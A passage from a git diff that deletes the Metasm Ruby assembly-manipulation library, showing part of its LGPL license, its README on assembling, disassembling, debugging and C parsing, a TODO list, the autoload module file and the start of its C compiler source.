reason we use the ordinary General Public License for many -libraries. However, the Lesser license provides advantages in certain -special circumstances. - - For example, on rare occasions, there may be a special need to -encourage the widest possible use of a certain library, so that it becomes -a de-facto standard. To achieve this, non-free programs must be -allowed to use the library. A more frequent case is that a free -library does the same job as widely used non-free libraries. In this -case, there is little to gain by limiting the free library to free -software only, so we use the Lesser General Public License. - - In other cases, permission to use a particular library in non-free -programs enables a greater number of people to use a large body of -free software. For example, permission to use the GNU C Library in -non-free programs enables many more people to use the whole GNU -operating system, as well as its variant, the GNU/Linux operating -system. - - Although the Lesser General Public License is Less protective of the -users' freedom, it does ensure that the user of a program that is -linked with the Library has the freedom and the wherewithal to run -that program using a modified version of the Library. - - The precise terms and conditions for copying, distribution and -modification follow. Pay close attention to the difference between a -"work based on the library" and a "work that uses the library". The -former contains code derived from the library, whereas the latter must -be combined with the library in order to run. - - GNU LESSER GENERAL PUBLIC LICENSE - TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION - - 0. This License Agreement applies to any software library or other -program which contains a notice placed by the copyright holder or -other authorized party saying it may be distributed under the terms of -this Lesser General Public License (also called "this License"). -Each licensee is addressed as "you". - - A "library" means a collection of software functions and/or data -prepared so as to be conveniently linked with application programs -(which use some of those functions and data) to form executables. - - The "Library", below, refers to any such software library or work -which has been distributed under these terms. A "work based on the -Library" means either the Library or any derivative work under -copyright law: that is to say, a work containing the Library or a -portion of it, either verbatim or with modifications and/or translated -straightforwardly into another language. (Hereinafter, translation is -included without limitation in the term "modification".) - - "Source code" for a work means the preferred form of the work for -making modifications to it. For a library, complete source code means -all the source code for all modules it contains, plus any associated -interface definition files, plus the scripts used to control compilation -and installation of the library. - - Activities other than copying, distribution and modification are not -covered by this License; they are outside its scope. The act of -running a program using the Library is not restricted, and output from -such a program is covered only if its contents constitute a work based -on the Library (independent of the use of the Library in a tool for -writing it). Whether that is true depends on what the Library does -and what the program that uses the Library does. - - 1. You may copy and distribute verbatim copies of the Library's -complete source code as you receive it, in any medium, provided that -you conspicuously and appropriately publish on each copy an -appropriate copyright notice and disclaimer of warranty; keep intact -all the notices that refer to this License and to the absence of any -warranty; and distribute a copy of this License along with the -Library. - - You may charge a fee for the physical act of transferring a copy, -and you may at your option offer warranty protection in exchange for a -fee. - - 2. You may modify your copy or copies of the Library or any portion -of it, thus forming a work based on the Library, and copy and -distribute such modifications or work under the terms of Section 1 -above, provided that you also meet all of these conditions: - - a) The modified work must itself be a software library. - - b) You must cause the files modified to carry prominent notices - stating that you changed the files and the date of any change. - - c) You must cause the whole of the work to be licensed at no - charge to all third parties under the terms of this License. - - d) If a facility in the modified Library refers to a function or a - table of data to be supplied by an application program that uses - the facility, other than as an argument passed when the facility - is invoked, then you must make a good faith effort to ensure that, - in the event an application does not supply such function or - table, the facility still operates, and performs whatever part of - its purpose remains meaningful. - - (For example, a function in a library to compute square roots has - a purpose that is entirely well-defined independent of the - application. Therefore, Subsection 2d requires that any - application-supplied function or table used by this function must - be optional: if the application does not supply it, the square - root function must still compute square roots.) - -These requirements apply to the modified work as a whole. If -identifiable sections of that work are not derived from the Library, -and can be reasonably considered independent and separate works in -themselves, then this License, and its terms, do not apply to those -sections when you distribute them as separate works. But when you -distribute the same sections as part of a whole which is a work based -on the Library, the distribution of the whole must be on the terms of -this License, whose permissions for other licensees extend to the -entire whole, and thus to each and every part regardless of who wrote -it. - -Thus, it is not the intent of this section to claim rights or contest -your rights to work written entirely by you; rather, the intent is to -exercise the right to control the distribution of derivative or -collective works based on the Library. - -In addition, mere aggregation of another work not based on the Library -with the Library (or with a work based on the Library) on a volume of -a storage or distribution medium does not bring the other work under -the scope of this License. - - 3. You may opt to apply the terms of the ordinary GNU General Public -License instead of this License to a given copy of the Library. To do -this, you must alter all the notices that refer to this License, so -that they refer to the ordinary GNU General Public License, version 2, -instead of to this License. (If a newer version than version 2 of the -ordinary GNU General Public License has appeared, then you can specify -that version instead if you wish.) Do not make any other change in -these notices. - - Once this change is made in a given copy, it is irreversible for -that copy, so the ordinary GNU General Public License applies to all -subsequent copies and derivative works made from that copy. - - This option is useful when you wish to copy part of the code of -the Library into a program that is not a library. - - 4. You may copy and distribute the Library (or a portion or -derivative of it, under Section 2) in object code or executable form -under the terms of Sections 1 and 2 above provided that you accompany -it with the complete corresponding machine-readable source code, which -must be distributed under the terms of Sections 1 and 2 above on a -medium customarily used for software interchange. - - If distribution of object code is made by offering access to copy -from a designated place, then offering equivalent access to copy the -source code from the same place satisfies the requirement to -distribute the source code, even though third parties are not -compelled to copy the source along with the object code. - - 5. A program that contains no derivative of any portion of the -Library, but is designed to work with the Library by being compiled or -linked with it, is called a "work that uses the Library". Such a -work, in isolation, is not a derivative work of the Library, and -therefore falls outside the scope of this License. - - However, linking a "work that uses the Library" with the Library -creates an executable that is a derivative of the Library (because it -contains portions of the Library), rather than a "work that uses the -library". The executable is therefore covered by this License. -Section 6 states terms for distribution of such executables. - - When a "work that uses the Library" uses material from a header file -that is part of the Library, the object code for the work may be a -derivative work of the Library even though the source code is not. -Whether this is true is especially significant if the work can be -linked without the Library, or if the work is itself a library. The -threshold for this to be true is not precisely defined by law. - - If such an object file uses only numerical parameters, data -structure layouts and accessors, and small macros and small inline -functions (ten lines or less in length), then the use of the object -file is unrestricted, regardless of whether it is legally a derivative -work. (Executables containing this object code plus portions of the -Library will still fall under Section 6.) - - Otherwise, if the work is a derivative of the Library, you may -distribute the object code for the work under the terms of Section 6. -Any executables containing that work also fall under Section 6, -whether or not they are linked directly with the Library itself. - - 6. As an exception to the Sections above, you may also combine or -link a "work that uses the Library" with the Library to produce a -work containing portions of the Library, and distribute that work -under terms of your choice, provided that the terms permit -modification of the work for the customer's own use and reverse -engineering for debugging such modifications. - - You must give prominent notice with each copy of the work that the -Library is used in it and that the Library and its use are covered by -this License. You must supply a copy of this License. If the work -during execution displays copyright notices, you must include the -copyright notice for the Library among them, as well as a reference -directing the user to the copy of this License. Also, you must do one -of these things: - - a) Accompany the work with the complete corresponding - machine-readable source code for the Library including whatever - changes were used in the work (which must be distributed under - Sections 1 and 2 above); and, if the work is an executable linked - with the Library, with the complete machine-readable "work that - uses the Library", as object code and/or source code, so that the - user can modify the Library and then relink to produce a modified - executable containing the modified Library. (It is understood - that the user who changes the contents of definitions files in the - Library will not necessarily be able to recompile the application - to use the modified definitions.) - - b) Use a suitable shared library mechanism for linking with the - Library. A suitable mechanism is one that (1) uses at run time a - copy of the library already present on the user's computer system, - rather than copying library functions into the executable, and (2) - will operate properly with a modified version of the library, if - the user installs one, as long as the modified version is - interface-compatible with the version that the work was made with. - - c) Accompany the work with a written offer, valid for at - least three years, to give the same user the materials - specified in Subsection 6a, above, for a charge no more - than the cost of performing this distribution. - - d) If distribution of the work is made by offering access to copy - from a designated place, offer equivalent access to copy the above - specified materials from the same place. - - e) Verify that the user has already received a copy of these - materials or that you have already sent this user a copy. - - For an executable, the required form of the "work that uses the -Library" must include any data and utility programs needed for -reproducing the executable from it. However, as a special exception, -the materials to be distributed need not include anything that is -normally distributed (in either source or binary form) with the major -components (compiler, kernel, and so on) of the operating system on -which the executable runs, unless that component itself accompanies -the executable. - - It may happen that this requirement contradicts the license -restrictions of other proprietary libraries that do not normally -accompany the operating system. Such a contradiction means you cannot -use both them and the Library together in an executable that you -distribute. - - 7. You may place library facilities that are a work based on the -Library side-by-side in a single library together with other library -facilities not covered by this License, and distribute such a combined -library, provided that the separate distribution of the work based on -the Library and of the other library facilities is otherwise -permitted, and provided that you do these two things: - - a) Accompany the combined library with a copy of the same work - based on the Library, uncombined with any other library - facilities. This must be distributed under the terms of the - Sections above. - - b) Give prominent notice with the combined library of the fact - that part of it is a work based on the Library, and explaining - where to find the accompanying uncombined form of the same work. - - 8. You may not copy, modify, sublicense, link with, or distribute -the Library except as expressly provided under this License. Any -attempt otherwise to copy, modify, sublicense, link with, or -distribute the Library is void, and will automatically terminate your -rights under this License. However, parties who have received copies, -or rights, from you under this License will not have their licenses -terminated so long as such parties remain in full compliance. - - 9. You are not required to accept this License, since you have not -signed it. However, nothing else grants you permission to modify or -distribute the Library or its derivative works. These actions are -prohibited by law if you do not accept this License. Therefore, by -modifying or distributing the Library (or any work based on the -Library), you indicate your acceptance of this License to do so, and -all its terms and conditions for copying, distributing or modifying -the Library or works based on it. - - 10. Each time you redistribute the Library (or any work based on the -Library), the recipient automatically receives a license from the -original licensor to copy, distribute, link with or modify the Library -subject to these terms and conditions. You may not impose any further -restrictions on the recipients' exercise of the rights granted herein. -You are not responsible for enforcing compliance by third parties with -this License. - - 11. If, as a consequence of a court judgment or allegation of patent -infringement or for any other reason (not limited to patent issues), -conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot -distribute so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you -may not distribute the Library at all. For example, if a patent -license would not permit royalty-free redistribution of the Library by -all those who receive copies directly or indirectly through you, then -the only way you could satisfy both it and this License would be to -refrain entirely from distribution of the Library. - -If any portion of this section is held invalid or unenforceable under any -particular circumstance, the balance of the section is intended to apply, -and the section as a whole is intended to apply in other circumstances. - -It is not the purpose of this section to induce you to infringe any -patents or other property right claims or to contest validity of any -such claims; this section has the sole purpose of protecting the -integrity of the free software distribution system which is -implemented by public license practices. Many people have made -generous contributions to the wide range of software distributed -through that system in reliance on consistent application of that -system; it is up to the author/donor to decide if he or she is willing -to distribute software through any other system and a licensee cannot -impose that choice. - -This section is intended to make thoroughly clear what is believed to -be a consequence of the rest of this License. - - 12. If the distribution and/or use of the Library is restricted in -certain countries either by patents or by copyrighted interfaces, the -original copyright holder who places the Library under this License may add -an explicit geographical distribution limitation excluding those countries, -so that distribution is permitted only in or among countries not thus -excluded. In such case, this License incorporates the limitation as if -written in the body of this License. - - 13. The Free Software Foundation may publish revised and/or new -versions of the Lesser General Public License from time to time. -Such new versions will be similar in spirit to the present version, -but may differ in detail to address new problems or concerns. - -Each version is given a distinguishing version number. If the Library -specifies a version number of this License which applies to it and -"any later version", you have the option of following the terms and -conditions either of that version or of any later version published by -the Free Software Foundation. If the Library does not specify a -license version number, you may choose any version ever published by -the Free Software Foundation. - - 14. If you wish to incorporate parts of the Library into other free -programs whose distribution conditions are incompatible with these, -write to the author to ask for permission. For software which is -copyrighted by the Free Software Foundation, write to the Free -Software Foundation; we sometimes make exceptions for this. Our -decision will be guided by the two goals of preserving the free status -of all derivatives of our free software and of promoting the sharing -and reuse of software generally. - - NO WARRANTY - - 15. BECAUSE THE LIBRARY IS LICENSED FREE OF CHARGE, THERE IS NO -WARRANTY FOR THE LIBRARY, TO THE EXTENT PERMITTED BY APPLICABLE LAW. -EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR -OTHER PARTIES PROVIDE THE LIBRARY "AS IS" WITHOUT WARRANTY OF ANY -KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE -LIBRARY IS WITH YOU. SHOULD THE LIBRARY PROVE DEFECTIVE, YOU ASSUME -THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN -WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY -AND/OR REDISTRIBUTE THE LIBRARY AS PERMITTED ABOVE, BE LIABLE TO YOU -FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR -CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE -LIBRARY (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING -RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A -FAILURE OF THE LIBRARY TO OPERATE WITH ANY OTHER SOFTWARE), EVEN IF -SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH -DAMAGES. - - END OF TERMS AND CONDITIONS diff --git a/lib/metasm/README b/lib/metasm/README deleted file mode 100644 index 4896d1d4be..0000000000 --- a/lib/metasm/README +++ /dev/null @@ -1,278 +0,0 @@ -Metasm, the Ruby assembly manipulation suite -============================================ - -* sample scripts in samples/ -- read comments at the beginning of the files -* all files are licensed under the terms of the LGPL - -Author: Yoann Guillot <john at ofjj.net> - - -Basic overview: - -Metasm allows you to interact with executables formats (ExeFormat): -PE, ELF, Mach-O, Shellcode, etc. -There are three approaches to an ExeFormat: - - compiling one up, from scratch - - decompiling an existing format - - manipulating the file structure - - -Ready-to-use scripts can be found in the samples/ subdirectory, check the -comments in the scripts headers. You can also try the --help argument if -you're feeling lucky. - -For more information, check the doc/ subdirectory. The text files can be -compiled to html using the misc/txt2html.rb script. - - - -Here is a short overview of the Metasm internals. - - -Assembly: - -When compiling, you start from a source text (ruby String, consisting -mostly in a sequence of instructions/data/padding directive), which is parsed. - -The string is handed to a Preprocessor instance (which handles #if, #ifdef, -#include, #define, /* */ etc, should be 100% compatible with gcc -E), which is -encapsulated in an AsmPreprocessor for assembler sources (to handles asm macro -definitions, 'equ' and asm ';' comments). -The interface to do that is ExeFormat#parse(text[, filename, lineno]) or -ExeFormat.assemble (which calls .new, #parse and #assemble). - -The (Asm)Preprocessor returns tokens to the ExeFormat, which parses them as Data, -Padding, Labels or parser directives. Parser directives always start with a dot. -They can be generic (.pad, .offset...) or ExeFormat-specific (.section, -.import, .entrypoint...). They are handled by #parse_parser_instruction(). -If the ExeFormat does not recognize a word, it is handed to its CPU instance, -which is responsible for parsing Instructions (or raise an exception). -All those tokens are stored in one or more arrays in the @source attribute of -the ExeFormat (Shellcode's @source is an Array, for PE/ELF it is a hash -[section name] => [Array of parsed data]) -Every immediate value can be an arbitrary Expression (see later). - -You can then assemble the source to binary sections using ExeFormat#assemble. - -Once the section binaries are available, the whole binary executable can be -written to disk using ExeFormat#encode_file(filename[, format]). - -PE and ELF include an autoimport feature that allows automatic creation of -import-related data for known OS-specific functions (e.g. unresolved calls to -'strcpy' will generate data so that the binary is linked against the libc -library at runtime). - -The samples/{exe,pe,elf}encode.rb can take an asm source file as argument -and compile it to a working executable. - -The CPU classes are responsible for parsing and encoding individual -instructions. The current Ia32 parser uses the Intel syntax (e.g. mov eax, 42). -The generic parser recognizes labels as a string at the beginning of a line -followed by a colon (e.g. 'some_label:'). GCC-style local labels may be used -(e.g. '1:', refered to using '1b' (backward) or '1f' (forward) ; may be -redefined as many times as needed.) -Data are specified using 'db'-style notation (e.g. 'dd 42h', 'db "blabla", 0') -See samples/asmsyntax.rb - - -EncodedData: - -In Metasm all binary data is stored as an EncodedData. -EncodedData has 3 main attributes: - - #data which holds the raw binary data (generally a ruby String, but see -VirtualString) - - #export which is a hash associating an export name (label name) to an offset -within #data - - #reloc which is a hash whose keys are offsets within #data, and whose values -are Relocation objects. -A Relocation object has an endianness (:little/:big), a type (:u32 for unsigned -32bits) and a target (the intended value stored here). -The target is an arbitrary arithmetic/logic Expression. - -EncodedData also has a #virtsize (for e.g. .bss sections), and a #ptr (internal -offset used when decoding things) - -You can fixup an EncodedData, with a Hash variable name => value (value should -be an Expression or a numeric value). When you do that, each relocation's target -is bound using the binding, and if the result is calculable (no external variable -name used in the Expression), the result is encoded using the relocation's -size/sign/endianness information. If it overflows (try to store 128 in an 8bit -signed relocation), an EncodeError exception is raised. Use the :a32 type to -allow silent overflow truncating. -If the relocation's target is not numeric, the target is unchanged if you use -EncodedData#fixup, or it is replaced with the bound target with #fixup! . - - -Disassembly: - -This code is found in the metasm/decode.rb source file, which defines the -Disassembler class. - -The disassembler needs a decoded ExeFormat (to be able to say what data is at -which virtual address) and an entrypoint (a virtual address or export name). -It can then start to disassemble instructions. When it encounters an -Opcode marked as :setip, it asks the CPU for the jump destination (an -Expression that may involve register values, for e.g. jmp eax), and backtraces -instructions until it finds the numeric value. - -On decoding, the Disassembler maintains a #decoded hash associating addresses -(expressions/integer #normalize()d) to DecodedInstructions. - -The disassembly generates an InstructionBlock graph. Each block holds a list of -DecodedInstruction, and pointers to the next/previous block (by address). - -The disassembler also traces data accesses by instructions, and stores Xrefs -for them. -The backtrace parameters can be tweaked, and the maximum depth to consider -can be specifically changed for :r/:w backtraces (instruction memory xrefs) -using #backtrace_maxblocks_data. -When an Expression is backtracked, each walked block is marked so that loops -are detected, and so that if a new code path is found to an existing block, -backtraces can be resumed using this new path. - -The disassembler makes very few assumptions, and in particular does not -suppose that functions will return ; they will only if the backtrace of the -'ret' instructions is conclusive. This is quite powerful, but also implies -that any error in the backtracking process can lead to a full stop ; and also -means that the disassembler is quite slow. - -The special method #disassemble_fast can be used to work around this when the -code is known to be well-formed (ie it assumes that all calls returns) - -When a subfunction is found, a special DecodedFunction is created, which holds -a summary of the function's effects (like a DecodedInstruction on steroids). -This allows the backtracker to 'step over' subfunctions, which greatly improves -speed. The DecodedFunctions may be callback-based, to allow a very dynamic -behaviour. -External function calls create dedicated DecodedFunctions, which holds some -API information (e.g. stack fixup information, basic parameter accesses...) -This information may be derived from a C header parsed beforehand. -If no C function prototype is available, a special 'default' entry is used, -which assumes that the function has a standard ABI. - -Ia32 implements a specific :default entry, which handles automatic stack fixup -resolution, by assuming that the last 'call' instruction returns. This may lead -to unexpected results ; for maximum accuracy a C header holding information for -all external functions is recommanded (see samples/factorize-headers-peimports -for a script to generate such a header from a full Visual Studio installation -and the target binary). - -Ia32 also implements a specific GetProcAddress/dlsym callback, that will -yield the correct return value if the parameters can be backtraced. - -The scripts implementing a full disassembler are samples/disassemble{-gui}.rb -See the comments for the GUI key bindings. - - -ExeFormat manipulation: - -You can encode/decode an ExeFormat (ie decode sections, imports, headers etc) - -Constructor: ExeFormat.decode_file(str), ExeFormat.decode_file_header(str) -Methods: ExeFormat#encode_file(filename), ExeFormat#encode_string - -PE and ELF files have a LoadedPE/LoadedELF counterpart, that are able to work -with memory-mmaped versions of those formats (e.g. to debug running -processes) - - -VirtualString: - -A VirtualString is a String-like object: you can read and may rewrite slices of -it. It can be used as EncodedData#data, and thus allows virtualization -of most Metasm algorithms. -You cannot change a VirtualString length. -Taking a slice of a VirtualString will return either a String (for small sizes) -or another VirtualString (a 'window' into the other). You can force getting a -small VirtualString using the #dup(offset, length) method. -Any unimplemented method called on it is forwarded to a frozen String which is -a full copy of the VirtualString (should be avoided if possible, the underlying -string may be very big & slow to access). - -There are currently 3 VirtualStrings implemented: -- VirtualFile, whichs loads a file by page-sized chunks on demand, -- WindowsRemoteString, which maps another process' virtual memory (uses the -windows debug api through WinDbgAPI) -- LinuxRemoteString, which maps another process' virtual memory (need ptrace -rights, memory reading is done using /proc/pid/mem) - -The Win/Lin version are quite powerful, and allow things like live process -disassembly/patching easily (using LoadedPE/LoadedELF as ExeFormat) - - -Debugging: - -Metasm includes a few interfaces to handle debugging. -The WinOS and LinOS classes offer access to the underlying OS processes (e.g. -OS.current.find_process('foobar') will retrieve a running process with foobar -in its filename ; then process.mem can be used to access its memory.) - -The Windows and Linux low-level debugging APIs have a basic ruby interface -(PTrace and WinAPI) ; which are used by the unified high-end Debugger class. -Remote debugging is supported through the GDB server wire protocol. - -High-level debuggers can be created with the following ruby line: -Metasm::OS.current.create_debugger('foo') - -Only one kind of host debugger class can exist at a time ; to debug multiple -processes, attach to other processes using the existing class. This is due -to the way the OS debugging API works on Windows and Linux. - -The low-level backends are defined in the os/ subdirectory, the front-end is -defined in debug.rb. - -A linux console debugging interface is available in samples/lindebug.rb ; it -uses a (simplified) SoftICE-like look and feel. -It can talk to a gdb-server socket ; use a [udp:]<host:port> target. - -The disassembler-gui sample allow live process interaction when using as -target 'live:<pid or part of program name>'. - - -C Parser: - -Metasm includes a hand-written C Parser. -It handles all the constructs i am aware of, except hex floats: - - static const L"bla" - - variable arguments - - incomplete types - - __attributes__(()), __declspec() - - #pragma once - - #pragma pack() - - C99 declarators - type bla = { [ 2 ... 14 ].toto = 28 }; - - Nested functions - - __int8 etc native types - - Label addresses (&&label) -Also note that all those things are parsed, but most of them will fail to -compile on the Ia32/X64 backend (the only one implemented so far.) - -Parsing C files should be done using an existing ExeFormat, with the -parse_c_file method. This ensures that format-specific macros/ABI are correctly -defined (ex: size of the 'long' type, ABI to pass parameters to functions, etc) - -When you parse a C String using C::Parser.parse(text), you receive a Parser -object. It holds a #toplevel field, which is a C::Block, which holds #structs, -#symbols and #statements. The top-level functions are found in the #symbol hash -whose keys are the symbol names, associated to a C::Variable object holding -the functions. The function parameter/attributes are accessible through -func.type, and the code is in func.initializer, which is itself a C::Block. -Under it you'll find a tree-like structure of C::Statements (If, While, Asm, -CExpressions...) - -A C::Parser may be #precompiled to transform it into a simplified version that -is easier to compile: typedefs are removed, control sequences are transformed -into 'if (XX) goto YY;' etc. - -To compile a C program, use PE/ELF.compile_c, that will create a C::Parser with -exe-specific macros defined (eg __PE__ or __ELF__). - -Vendor-specific headers may need to use either #pragma prepare_visualstudio -(to parse the Microsoft Visual Studio headers) or prepare_gcc (for gcc), the -latter may be auto-detected (or may not). -Vendor headers tested are VS2003 (incl. DDK) and gcc4 ; ymmv. - -Currently the CPU#compilation of a C code will generate an asm source (text), -which may then be parsed & assembled to binary code. - -See ExeFormat#compile_c, and samples/exeencode.rb - diff --git a/lib/metasm/TODO b/lib/metasm/TODO deleted file mode 100644 index 11361bacfe..0000000000 --- a/lib/metasm/TODO +++ /dev/null @@ -1,114 +0,0 @@ -List of TODO items, by section, in random order - -Ia32 - emu fpu - AVX support - realmode - -X86_64 - decompiler - -CPU - Arm - Sparc - Cell - -Parser - Allow single-file multiplexer (C code + Asm + asm16bit + ...) - Fix the asm prepro comment issue: '; a /* b\n c ; */' should see 'c' - -Assembler - Handle cpu pseudo-instrs (mips 'li' -> lui high + ori low) - SplitReloc? (for pseudo-instrs) - Ia32 GAS syntax - Make the autoimport depend on the target platform and not on the exeformat - Encode FPU constants - -Disasm - DecodedData - Exe decoding generate decodeddata ? - Function variable names using stack analysis + ExpressionString - Fix thunk detection (thunk: mov ecx, 42 jmp [iat_thiscall] is not a thunk) - Test with ET_REL style exe - Store stuff out of mem (to handle big binaries) - Better :default usage - good on call eax, but not on <600k instrs> ret - use binary personality ? (uses call vs uses pushret..) - Improve 'backtrace => patch di.instr.args' - path-specific backtracking ( foo: call a ; a: jmp retloc ; bar: call b ; b: jmp retloc ; retloc: ret ; call foo ; ret : last ret trackback should only reach a:) - Decode pseudo/macro-instrs (mips 'li') - Deoptimizer (instr reordering for readability) - Optimizer (deobfuscating) - Per-instr context (allows to mix cell/ppc, x86 32/16bits, arm/armthumb..) - -Compiler - Optimizer - Register allocator - Instr reordering - Asm intrinsics - Asm inline - inline functions - Separate partial compilation + linking (src1.c -> obj1.o, src2.c -> obj2.o, obj1.o+obj2.o -> bin) - Make generic compiler from cpu.instr_binding ? - create a cpu.what_instr_has_binding(:a => (:a + :b)) => 'add a, b' ? - Shellcode compiler (exit() => mov eax, 1 int 80h inline) - -Decompiler - Fix decompiling on loaded savefile - Rewrite cpu-specific to really dumb - Just translate di.binding to C - maybe w/ trivial var dependency check for unused regs, but beware :incomplete instrs deps - Check interdependency ('xadd') - Move frame pointer checks / stack var detection to C code - Update asm listing from info in C (stack vars, stack var names..) - Handle renaming/retyping register vars / aliases - Handle switch() / computed goto - Fix inline asm reg dependencies - Handle direct syscalls (mov eax, 1 int 80h => exit()) - Autodecode structs - FPU - Handle/hide compiler-generated stuff (getip, stack cookie setup/check..) - Handle call 1f ; 1: pop eax - More user control (force/forbid register arg, return type, etc) - Preserve C decompiled line association to range of asm decoded addrs - -Debugger - OSX - Detour-style functionnality to patch binary code (also static to patch exe files?) - Move constants in a data/ folder (ptrace reg numbers, syscalls, etc) - Generic remote process manip - create blank state - linux virtualallocex - pax-compatible code patch through mmap - Remote debugging (small standalone C client) - Support dbghelp.dll (ms symbol server info) - Support debugee function call (gdb 'call') - -ExeFormat - Handle minor editing without decode/reencode (eg patch ELF entrypoint) - -ELF - test encoding openbsd binaries - handle symbol versions - LoadedELF.dump - Check relocation encoding (eg samples/dynamic_ruby with cpu.generate_PIC=false) - -MachO - -PE - resource editor ? - rc compiler ? - add simple accessor for resource stuff (manifest, icon, ...) - -GUI - debugger - specialize widgets - show breakpoints - show jump direction from current flag values - have a console frontend - zoom font when zooming graph - text selection - map (part of) the binary & debug it (map a PE on a linux host & run it) - -Ruby - write a fast ruby-like interpreter diff --git a/lib/metasm/metasm.rb b/lib/metasm/metasm.rb deleted file mode 100644 index 9e27a9681e..0000000000 --- a/lib/metasm/metasm.rb +++ /dev/null @@ -1,88 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -module Metasm - # root directory for metasm files - # used by some scripts, eg to find samples/dasm-plugin directory - Metasmdir = File.dirname(__FILE__) - # add it to the ruby library path - $: << Metasmdir - - # constants defined in the same file as another - Const_autorequire_equiv = { - 'X86' => 'Ia32', 'PPC' => 'PowerPC', - 'X64' => 'X86_64', 'AMD64' => 'X86_64', - 'MIPS64' => 'MIPS', - 'UniversalBinary' => 'MachO', 'COFFArchive' => 'COFF', - 'DEY' => 'DEX', - 'PTrace' => 'LinOS', 'FatELF' => 'ELF', - 'LoadedELF' => 'ELF', 'LoadedPE' => 'PE', - 'LoadedAutoExe' => 'AutoExe', - 'LinuxRemoteString' => 'LinOS', - 'LinDebugger' => 'LinOS', - 'WinAPI' => 'WinOS', - 'WindowsRemoteString' => 'WinOS', 'WinDbgAPI' => 'WinOS', - 'WinDebugger' => 'WinOS', - 'GdbRemoteString' => 'GdbClient', 'GdbRemoteDebugger' => 'GdbClient', - 'DecodedInstruction' => 'Disassembler', 'DecodedFunction' => 'Disassembler', - 'InstructionBlock' => 'Disassembler', - } - - # files to require to get the definition of those constants - Const_autorequire = { - 'Ia32' => 'cpu/ia32', 'MIPS' => 'cpu/mips', 'PowerPC' => 'cpu/ppc', 'ARM' => 'cpu/arm', - 'X86_64' => 'cpu/x86_64', 'Sh4' => 'cpu/sh4', 'Dalvik' => 'cpu/dalvik', 'ARC' => 'cpu/arc', - 'Python' => 'cpu/python', 'Z80' => 'cpu/z80', 'CY16' => 'cpu/cy16', 'BPF' => 'cpu/bpf', - 'MSP430' => 'cpu/msp430', - 'C' => 'compile_c', - 'MZ' => 'exe_format/mz', 'PE' => 'exe_format/pe', - 'ELF' => 'exe_format/elf', 'COFF' => 'exe_format/coff', - 'Shellcode' => 'exe_format/shellcode', 'AutoExe' => 'exe_format/autoexe', - 'AOut' => 'exe_format/a_out', 'MachO' => 'exe_format/macho', - 'DEX' => 'exe_format/dex', - 'NDS' => 'exe_format/nds', 'XCoff' => 'exe_format/xcoff', - 'GameBoyRom' => 'exe_format/gb', - 'Bflt' => 'exe_format/bflt', 'Dol' => 'exe_format/dol', - 'PYC' => 'exe_format/pyc', 'JavaClass' => 'exe_format/javaclass', - 'SWF' => 'exe_format/swf', 'ZIP' => 'exe_format/zip', - 'Shellcode_RWX' => 'exe_format/shellcode_rwx', - 'Gui' => 'gui', - 'WindowsExports' => 'os/windows_exports', - 'GNUExports' => 'os/gnu_exports', - 'Debugger' => 'debug', - 'LinOS' => 'os/linux', 'WinOS' => 'os/windows', - 'GdbClient' => 'os/remote', - 'Disassembler' => 'disassemble', - 'Decompiler' => 'decompile', - 'DynLdr' => 'dynldr', - } - - # use the Module.autoload ruby functionnality to load framework components on demand - Const_autorequire.each { |cst, file| - autoload cst, File.join('metasm', file) - } - - Const_autorequire_equiv.each { |cst, eqv| - file = Const_autorequire[eqv] - autoload cst, File.join('metasm', file) - } -end - -# load Metasm core files -%w[main encode decode render exe_format/main os/main].each { |f| - require File.join('metasm', f) -} - - -# remove an 1.9 warning, couldn't find a compatible way... -if Hash.new.respond_to?(:key) - puts "using ruby1.9 workaround for Hash#index warning" if $DEBUG - class Hash - alias index_premetasm index rescue nil - undef index rescue nil - alias index key - end -end diff --git a/lib/metasm/metasm/compile_c.rb b/lib/metasm/metasm/compile_c.rb deleted file mode 100644 index 63a1b8b86d..0000000000 --- a/lib/metasm/metasm/compile_c.rb +++ /dev/null @@ -1,1463 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/parse_c' - -module Metasm -module C - class Parser - def precompile - @toplevel.precompile(Compiler.new(self, @program)) - self - end - end - - # each CPU defines a subclass of this one - class Compiler - # an ExeFormat (mostly used for unique label creation, and cpu.check_reserved_name) - attr_accessor :exeformat - # the C Parser (destroyed by compilation) - attr_accessor :parser - # an array of assembler statements (strings) - attr_accessor :source - # list of unique labels generated (to recognize user-defined ones) - attr_accessor :auto_label_list - # map asm name -> original C name (for exports etc) - attr_accessor :label_oldname - - attr_accessor :curexpr - # allows 'raise self' (eg struct.offsetof) - def exception(msg='EOF unexpected') - ParseError.new "near #@curexpr: #{msg}" - end - - # creates a new CCompiler from an ExeFormat and a C Parser - def initialize(parser, exeformat=nil, source=[]) - exeformat ||= ExeFormat.new - @parser, @exeformat, @source = parser, exeformat, source - @auto_label_list = {} - @label_oldname = {} - end - - def new_label(base='') - lbl = @exeformat.new_label base - @auto_label_list[lbl] = true - lbl - end - - def toplevel ; @parser.toplevel end - def typesize ; @parser.typesize end - def sizeof(*a) @parser.sizeof(*a) end - - # compiles the c parser toplevel to assembler statements in self.source (::Array of ::String) - # 